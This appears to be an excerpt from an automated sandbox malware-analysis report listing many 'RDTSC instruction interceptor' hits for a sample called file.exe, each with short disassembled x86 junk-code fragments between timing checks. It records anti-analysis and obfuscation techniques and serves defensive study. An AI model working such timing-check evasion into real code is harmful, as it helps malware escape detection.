Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEC9FC second address: FECA18 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4752721A6h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FECA18 second address: FECA52 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB475210804h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB4752107FEh 0x00000010 push ebx 0x00000011 jmp 00007FB4752107FFh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FECA52 second address: FECA57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105D4BA second address: 105D4C0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105D4C0 second address: 105D4D0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jl 00007FB475272196h 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105D4D0 second address: 105D4D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105D614 second address: 105D620 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEE4EB second address: FEE51C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB475210802h 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB475210808h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEE51C second address: FEE528 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1064F84 second address: 1064F99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB4752107FCh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103590A second address: 103590E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1035CD6 second address: 1035D02 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB475210802h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FB475210802h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10361D2 second address: 10361D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10361D9 second address: 1036232 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB4752107F8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push esi 0x0000000c push ebx 0x0000000d push eax 0x0000000e pop eax 0x0000000f pop ebx 0x00000010 pop esi 0x00000011 nop 0x00000012 mov dword ptr [ebp+122D1E7Eh], edx 0x00000018 push 0000001Eh 0x0000001a push 00000000h 0x0000001c push ecx 0x0000001d call 00007FB4752107F8h 0x00000022 pop ecx 0x00000023 mov dword ptr [esp+04h], ecx 0x00000027 add dword ptr [esp+04h], 00000015h 0x0000002f inc ecx 0x00000030 push ecx 0x00000031 ret 0x00000032 pop ecx 0x00000033 ret 0x00000034 nop 0x00000035 jmp 00007FB475210804h 0x0000003a push eax 0x0000003b jp 00007FB475210800h 0x00000041 push eax 0x00000042 push edx 0x00000043 push ecx 0x00000044 pop ecx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103632E second address: 1036334 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10364CD second address: 1036502 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB4752107F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c pushad 0x0000000d js 00007FB4752107FCh 0x00000013 jng 00007FB4752107F6h 0x00000019 jmp 00007FB475210802h 0x0000001e popad 0x0000001f mov eax, dword ptr [esp+04h] 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 push ebx 0x00000027 pop ebx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1036502 second address: 1036528 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ecx 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d jmp 00007FB4752721A0h 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1036528 second address: 103652C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10365C3 second address: 10365C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10365C7 second address: 10365D3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10365D3 second address: 10365D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10651F7 second address: 10651FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10651FF second address: 1065204 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101804A second address: 1018059 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FB4752107F6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1018059 second address: 1018063 instructions: 0x00000000 rdtsc 0x00000002 js 00007FB475272196h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1065339 second address: 106533D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10659F3 second address: 10659F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1065B24 second address: 1065B38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007FB4752107F6h 0x0000000e jo 00007FB4752107F6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1065B38 second address: 1065B3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1065B3C second address: 1065B45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106C401 second address: 106C406 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106B13D second address: 106B143 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106B143 second address: 106B14D instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB475272196h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106B14D second address: 106B162 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 js 00007FB4752107F6h 0x0000000d jns 00007FB4752107F6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106B162 second address: 106B168 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106ADCF second address: 106ADD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106ADD3 second address: 106ADF2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 ja 00007FB475272196h 0x0000000d jmp 00007FB4752721A0h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106ADF2 second address: 106ADF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106BD71 second address: 106BD75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106BD75 second address: 106BD91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB475210800h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106BD91 second address: 106BD95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1070998 second address: 10709D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB475210805h 0x00000009 jp 00007FB4752107F6h 0x0000000f popad 0x00000010 push eax 0x00000011 ja 00007FB4752107F6h 0x00000017 pop eax 0x00000018 pushad 0x00000019 jmp 00007FB4752107FFh 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10709D2 second address: 10709D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1070BA6 second address: 1070BC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007FB4752107F8h 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 jnl 00007FB4752107F6h 0x00000018 ja 00007FB4752107F6h 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1070BC7 second address: 1070BE6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FB4752721A5h 0x00000008 pushad 0x00000009 popad 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107102C second address: 1071032 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10711C7 second address: 10711FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FB4752721A8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB4752721A7h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10714D7 second address: 10714DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107030D second address: 1070311 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1074CC9 second address: 1074CCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1074CCF second address: 1074CDA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1074CDA second address: 1074CF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB475210804h 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10776A3 second address: 10776AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10776AB second address: 10776B5 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB4752107F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10776B5 second address: 10776BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10776BF second address: 10776C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107A1E1 second address: 107A1E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1079D94 second address: 1079D9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FB4752107F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1079D9E second address: 1079DA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1079DA2 second address: 1079DB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FB4752107F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1079DB3 second address: 1079DBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FB475272196h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1079DBE second address: 1079DDD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB475210809h 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1079DDD second address: 1079DFA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB47527219Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB47527219Bh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1079DFA second address: 1079E00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1079E00 second address: 1079E04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107DDA6 second address: 107DDAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107DDAA second address: 107DDBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007FB47527219Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107D6D7 second address: 107D6DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107D6DB second address: 107D6FE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FB47527219Ch 0x0000000e jnp 00007FB47527219Eh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107DAC7 second address: 107DAE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jmp 00007FB475210808h 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107DAE6 second address: 107DAEB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107DAEB second address: 107DAF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107DAF1 second address: 107DAF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107DAF7 second address: 107DAFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107F278 second address: 107F2AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4752721A0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FB47527219Bh 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FB4752721A4h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10836FA second address: 10836FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10836FE second address: 1083708 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10839C8 second address: 10839F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007FB4752107FAh 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d jmp 00007FB475210801h 0x00000012 js 00007FB4752107F6h 0x00000018 push esi 0x00000019 pop esi 0x0000001a popad 0x0000001b push edi 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1083B32 second address: 1083B3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FB475272196h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1083B3C second address: 1083B60 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB475210808h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10360D2 second address: 10360ED instructions: 0x00000000 rdtsc 0x00000002 js 00007FB475272198h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jo 00007FB4752721A8h 0x00000013 push eax 0x00000014 push edx 0x00000015 jno 00007FB475272196h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1084B12 second address: 1084B16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1084B16 second address: 1084B2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4752721A3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10890EF second address: 108910A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FB475210803h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108EC2B second address: 108EC70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB4752721A1h 0x00000009 jmp 00007FB4752721A5h 0x0000000e popad 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007FB4752721A5h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108EC70 second address: 108ECA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FB4752107FEh 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jnp 00007FB4752107F6h 0x00000014 js 00007FB4752107F6h 0x0000001a jmp 00007FB475210803h 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108ECA7 second address: 108ECB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FB475272196h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108EE1C second address: 108EE22 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108F56E second address: 108F572 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108F572 second address: 108F58B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FB475210803h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108F58B second address: 108F5AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4752721A4h 0x00000007 pushad 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push esi 0x0000000b pop esi 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108FE02 second address: 108FE0E instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB4752107F6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108FE0E second address: 108FE24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4752721A0h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108FE24 second address: 108FE50 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jns 00007FB4752107FAh 0x0000000f push edi 0x00000010 pop edi 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FB475210801h 0x0000001a jno 00007FB4752107F6h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10900E6 second address: 10900F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007FB47527219Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10900F3 second address: 1090122 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FB4752107FAh 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007FB475210800h 0x00000015 popad 0x00000016 push esi 0x00000017 jns 00007FB4752107F6h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1090372 second address: 1090378 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
